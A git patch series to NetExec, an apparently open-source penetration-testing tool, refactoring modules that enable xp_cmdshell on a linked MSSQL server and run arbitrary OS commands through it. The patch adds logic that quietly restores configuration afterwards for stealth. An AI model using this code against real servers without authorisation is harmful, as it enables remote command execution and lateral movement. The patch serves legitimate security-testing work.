From 859553fb33a45c2ee5b3e92132ac690eef0fd7de Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 13 May 2025 13:06:40 -0400 Subject: [PATCH 1/3] Automatically preserve state of "advanced options" on the target --- nxc/modules/link_enable_xp.py | 66 ++++++++++++++++++++++++++++------- 1 file changed, 53 insertions(+), 13 deletions(-) diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py index 028170ac..2864b042 100644 --- a/nxc/modules/link_enable_xp.py +++ b/nxc/modules/link_enable_xp.py @@ -28,6 +28,10 @@ class NXCModule: def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn + + # Store the original state of options that have to be enabled/disabled in order to restore them later + self.backuped_options = {} + if not self.linked_server: self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") return @@ -42,22 +46,58 @@ class NXCModule: def enable_xp_cmdshell(self): """Enable xp_cmdshell on the linked server.""" - query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" - self.context.log.display(f"Enabling advanced options on {self.linked_server}...") - out = self.query_and_get_output(query) - query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" - self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") - out = self.query_and_get_output(query) - self.context.log.display(out) + self.backup_and_enable("advanced options") + + current_value = self.is_option_enabled("xp_cmdshell") + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}") + self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]") self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") + self.restore("advanced options") + def disable_xp_cmdshell(self): """Disable xp_cmdshell on the linked server.""" - query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" - self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") - self.query_and_get_output(query) + self.backup_and_enable("advanced options") + + current_value = self.is_option_enabled("xp_cmdshell") + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}") + self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]") self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") - def query_and_get_output(self, query): - """Executes a query and returns the output.""" - return self.mssql_conn.sql_query(query) + self.restore("advanced options") + + # Adapting methods from MSSQLEXEC for backup and restore functionality + def restore(self, option): + try: + if not self.backuped_options[option]: + self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.") + query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.") + except Exception as e: + self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}") + + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if not self.backuped_options[option]: + self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.") + query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.") + except Exception as e: + self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}") + + def is_option_enabled(self, option): + query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]" + self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}") + result = self.mssql_conn.sql_query(query) + # Assuming the query returns a list of dictionaries with 'config_value' as the key + self.context.log.debug(f"{option} check result: {result}") + if result and result[0]["config_value"] == 1: + return True + return False \ No newline at end of file From 5d3955b6bc552995d411dfae4a943bfefc7a0ed5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 13 May 2025 13:10:59 -0400 Subject: [PATCH 2/3] Formating --- nxc/modules/link_enable_xp.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py index 2864b042..56cae01a 100644 --- a/nxc/modules/link_enable_xp.py +++ b/nxc/modules/link_enable_xp.py @@ -17,9 +17,9 @@ class NXCModule: def options(self, context, module_options): """ Defines the options for enabling or disabling xp_cmdshell on the linked server. - ACTION Specifies whether to enable or disable: - - enable (default) - - disable + ACTION Specifies whether to enable or disable: + - enable (default) + - disable LINKED_SERVER The name of the linked SQL server to target. """ self.action = module_options.get("ACTION", "enable") @@ -100,4 +100,4 @@ class NXCModule: self.context.log.debug(f"{option} check result: {result}") if result and result[0]["config_value"] == 1: return True - return False \ No newline at end of file + return False From 4d8583e443650b056ce96622fef0f661debcc0fd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 13 May 2025 13:25:22 -0400 Subject: [PATCH 3/3] Remove boilerplate --- nxc/modules/link_xpcmd.py | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py index 1376a143..ba749d0c 100644 --- a/nxc/modules/link_xpcmd.py +++ b/nxc/modules/link_xpcmd.py @@ -30,15 +30,6 @@ class NXCModule: self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") return - self.run_xp_cmdshell(self.command) - - def run_xp_cmdshell(self, cmd): - """Run the specified command via xp_cmdshell on the linked server.""" - query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]" - self.context.log.display(f"Running command on {self.linked_server}: {cmd}") - result = self.query_and_get_output(query) - self.context.log.success(f"Command output:\n{result}") - - def query_and_get_output(self, query): - """Executes a query and returns the output.""" - return self.mssql_conn.sql_query(query) + self.context.log.display(f"Running command on {self.linked_server}: {self.command}") + result = self.mssql_conn.sql_query(f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]") + self.context.log.success(f"Command output: {result}")